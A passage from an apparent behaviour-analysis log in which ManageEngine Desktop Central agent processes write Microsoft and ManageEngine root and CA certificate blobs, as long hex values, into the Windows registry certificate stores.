58fd5797c4d02cf5feb8a834f457188f9a90d4e72e9c29c07cf491b4e040e63518c5ed800c1552cb6c6e0c2654ec93439f59cb3c47ee8616e135f15c45fd97eed1dceee44eccb2e86b1ec38f670edab5c13c1d90f0dc780b255ed34f7ac9be4c3dae7473ca6b58f31dfc54bafebf10203010001a351304f300b0603551d0f040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414722d3a02319043b914054ee1eaa7c731d1238934301006092b06010401823715010403020100300d06092a864886f70d01010b050003820201007f72cf0fb7c515db9bc049ca265bfe9e13e6d3f0d2db975ff24b3f4db3ae19aeedd797a0acefa93aa3c241b0e5b8919e13812403e609fd3f574039212456d1102f4b40a936864bb453579afbf17e898f11fe186c51aae8ed0995b5e571c9a1e98775a6157fc97e37545e7493c5c367cc0d4f6ba8170c6d08927e8bdd81aa2d7021c33d0614bbbf245ea784d73f0f2122bd4b0006db971cd85ed4c50b5c876e50a4e8c338a4fbcb2cc592669b855ecb7a6c937c8029585b57b54069ba0879a66462159d879645b5662320038b1c73a0d3a27933e0505986db2fe50225ea732a9f0014c836c7923be94e00ecd85609b9334912d2540b01abac47b691297d4cb475805201e8ca82f69fccac9c8f17ea2f26b0ab72ac0bfe9e511ec74355674f51b357d6b6ecee52b73ae94ee1d78188bc4f8e75bb4ba8f035aa26d4676749b2704c3b93dc1ddf78908672b238a4d1dc924dc958eb2b125cd43bae8c6bb083e5013ff80932f693353422afdd370d7709802bcd4800f18c9919470501e9d1bfd14ed0e628433799a40a4a08d99a7173d2aacd31136376a1376f92381e7d123c6632e7cb6de1fc5289ddcad666059a9661bea228c71ca3a736503c3aa4df4a6ee6873bceebf0e081379d133c528ebdb91d34c61dd50a6a3d9829708c892ad1ab8210481fdcf4efa5c5bb551a3863844eb76cad9554ec6522104917b8c01ec70fac5447 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3B1EFD3A66EA28B16697394703A72CA340A05BD5\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000001900000001000000100000003c70faea25600ce3b2cc5f0b222ed629140000000100000014000000d5f656cb8fe8a25c6268d13d94905bd7ce9a18c40300000001000000140000003b1efd3a66ea28b16697394703a72ca340a05bd50b00000001000000540000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020003200300031003000000069000000010000000e000000300c060a2b0601040182373c03020f000000010000002000000008fba831c08544208f5208686b991ca1b2cfc510e7301784ddf1eb5bf0393239040000000100000010000000a266bb7dcc38a562631361bbf61dd11b5c0000000100000004000000001000002000000001000000f1050000308205ed308203d5a003020102021028cc3a25bfba44ac449a9b586b4339aa300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303130301e170d3130303632333231353732345a170d3335303632333232303430315a308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479203230313030820222300d06092a864886f70d01010105000382020f003082020a0282020100b9089e28e4e4ec064e5068b341c57bebaeb68eaf81ba22441f6534694cbe704017f2167be279fd86ed0d39f41ba8ad92901ecb3d768f5ad9b591102e3c058d8a6d2454e71fed56ad83b4509c15a51774885920fc08c58476d368d46f2878ce5cb8f3509044ffe3635fbea19a2c961504d607fe1e8421e0423111c4283694cf50a4629ec9d6ab7100b25b0ce696d40a2496f5ffc6d5b71bd7cbb72162af12dca15d37e31afb1a4698c09bc0e7631f2a0893027e1e6a8ef29f1889e42285a2b1845740fff50ed86f9cede2453101cd17e97fb08145e3aa214026a172aaa74f3c01057eee8358b15e06639962917882b70d930c246ab41bdb27ec5f95043f934a30f59718b3a7f919a793331d01c8db22525cd725c946f9a2fb875943be9b62b18d2d86441a46ac78617e3009faae89c4412a2266039139459cc78b0ca8ca0d2ffb52ea0cf76333239dfeb01fad67d6a75003c6047063b52cb1865a43b7fbaef96e296e21214126068cc9c3eeb0c28593a1b985d9e6326c4b4c3fd65da3e5b59d77c39cc055b77400e3b838ab839750e19a42241dc6c0a330d11a5ac85234f773f1c7181f33ad7aeccb4160f3239420c24845ac5c51c62e80c2e27715bd8587ed369d9691ee00b5a370ec9fe38d80688376baaf5d70522216e266fbbab3c5c2f73e2f77a6cadec1a6c6484cc3375123d327d7b84e7096f0a14476af78cf9ae166130203010001a351304f300b0603551d0f040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414d5f656cb8fe8a25c6268d13d94905bd7ce9a18c4301006092b06010401823715010403020100300d06092a864886f70d01010b05000382020100aca5968cbfbbaea6f6d7718743315688fd1c32715b35b7d4f091f2af37e214f1f30226053e16147f14bab84ffb89b2b2e7d409cc6db95b3b64657066b7f2b15adf1a02f3f551b8676d79f3bf567be484b92b1e9b409c2634f947189869d81cd7b6d1bf8f61c267c4b5ef60438e101b3649e420caada7c1b1276509f8cdf55b2ad08433f3ef1ff2f59c0b589337a075a0de72de6c752a6622f58c0630569f40b930aa40771582d78becc0d3b2bd83c5770c1eaeaf1953a04d79719f0faf30ce67f9d62ccc22417a07f2974218ce59791055de6f10e4b8da836640160968235b972e269a02bb578cc5b8ba69623280899ea1fdc0927c7b2b3319842a63c5006862fa9f478d997a453aa7e9edee6942b5f3819b4756107bfc7036841873eaeff9974d9e3323dd260bba2ab73f44dc8327ffbd61592b11b7ca4fdbc58b0c1c31ae32f8f8b942f77fdc619a76b15a04e1113d6645b71871bec92485d6f3d4ba41345d122d25b98da613486d4bb0077d99930961817457268aab69e3e4d9c788cc24d8ec52245c1ebc9114e296deeb0ada9edd5fb35bdbd482ecc620508725403afbc7eecdfe33e56ec3840955032539c0e9355d6531a8f6bfa009cd29c7b336322edc95f383c15acf8b8df6eab321f8a4ed1e310eb64c11ab600ba412232217a3366482910412e0ab6f1ecb500561b440ff598671d1d533697ca9738a38d7640cf169 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob = 5900000001000000100000005200530041002f004d004400350000001400000001000000140000009aa6587f94dd91d91e63dfd3f0ce5fae1893aab7030000000100000014000000fee449ee0e3965a5246f000e87fde2a065fd89d4190000000100000010000000edbccdd5106a071c5d8b4690918e48aa2000000001000000ce010000308201ca30820174a003020102021006376c00aa00648a11cfb8d4aa5c35f4300d06092a864886f70d01010405003016311430120603550403130b526f6f74204167656e6379301e170d3936303532383232303235395a170d3339313233313233353935395a3016311430120603550403130b526f6f74204167656e6379305b300d06092a864886f70d0101010500034a0030470240815522b98aa46fedd6e7d9660f55bcd7cdd5bc4e400221a2b1f78730855ed2f244b9dc9b75b6fb465f42b69d23360bde540fcdbd1f992a105811cb40cbb5a7410203010001a3819e30819b3050060355040304491347466f722054657374696e6720507572706f736573204f6e6c792053616d706c6520536f667477617265205075626c697368696e672043726564656e7469616c73204167656e637930470603551d010440303e801012e4092d061d1d4f008d6121dc166463a1183016311430120603550403130b526f6f74204167656e6379821006376c00aa00648a11cfb8d4aa5c35f4300d06092a864886f70d01010405000341002d2e3e7b8942893fa82117faf0f5c395db62695bc9dcc1b3faf0c46f6f649abde71b2568728367bd56b08d01bd2af7cc4bbd87a5ba87204c421141ad10173b8c dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 1900000001000000100000008173bf5e0e9c54ebcbad0ab8727630dc1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b52000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 040000000100000010000000db40a511c228438a4ea22d289a27bc670f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b50300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad1900000001000000100000008173bf5e0e9c54ebcbad0ab8727630dc2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 5c0000000100000004000000000800001900000001000000100000008173bf5e0e9c54ebcbad0ab8727630dc1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad0300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b5040000000100000010000000db40a511c228438a4ea22d289a27bc672000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000001400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c303000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c60f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c1900000001000000100000009483285b20fccdb265fe95c3f298f3932000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 0f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b50300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob = 5900000001000000100000005200530041002f004d0044003500000014000000010000001400000001f0334c1aa1d9ee5b7ba9de43bc027d570933fb0b00000001000000400000004d006900630072006f0073006f00660074002000410075007400680065006e007400690063006f0064006500280074006d002900200052006f006f0074000000090000000100000016000000301406082b0601050507030406082b060105050703030300000001000000140000007f88cd7223f3c813818c994614a89c99fa3b52470f0000000100000010000000d67576f5521d1ccab52e9215e0f9f74319000000010000001000000007d34ded498d4577f261bd38b6b8736e2000000001000000da030000308203d6308202bea003020102020101300d06092a864886f70d01010405003050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f72697479301e170d3935303130313038303030315a170d3939313233313233353935395a3050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100df08bae33f6e649bf589af28964a078f1b2e8b3e1dfcb88069a3a1cedbdfb08e6c8976294fca603539ad7232e00bae293d4c16d94b3c9ddac5d3d109c92c6fa6c2605345dd4bd155cd031cd2595624f3e578d807ccd8b31f903fc01a71501d2da712086d7cb0866cc7ba853207e1616faf03c56de5d6a18f36f6c10bd13e69974872c97fa4c8c24a4c7ea1d194a6d7dceb05462eb818b4571d8649db694a2c21f55e0f542d5a43a97a7e6a8e504d2557a1bf1b1505437b2c058dbd3d038c93227d63ea0a5705060adb6198652d4749a8e7e656755cb8640863a9304066b2f9b6e334e86730e1430b87ffc9be72105e23f09ba74865bf09887bcd72bc2e799b7b0203010001a381ba3081b7300d0603551d0a040630040302078030320603550403042b13294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f7269747930720603551d01046b306980101a1be75b9ffd8c2ac339ae0c622e5332a1523050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f72697479820101300d06092a864886f70d010104050003820101002dc9e2f6129e5d5667fafa4b9a7edc29565c80140228856e26f3cd58da5080c5f819b3a67ce29d6b5f3b8f2274e61804fc4740d87a3f3066f012a4d1eb1de7b6f498ab5322865158ee230976e41d455c4bff4ce302500113cc41a45297d486d5c4fe8383657deabea2683bc1b12998bfa2a5fc9dd384ee701750f30bfa3cefa9278b91b448c845a0e101424b4476041cc219a28e6b2098c4dd02acb4d2a20e8d5db9368e4a1b5d6c1ae2cb007f10f4b295efe3e8ffa17358a9752ca2499585feccda448ac21244d244c8a5a21fa95a8e56c2c37bcf4260dc821ffbce74067ed6f1ac196a4f745cc51566316cc16271910f595b7d2a821adfb1b4d81d37de0d0f dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 1400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c303000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c62000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 0f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c03000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c61400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c32000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 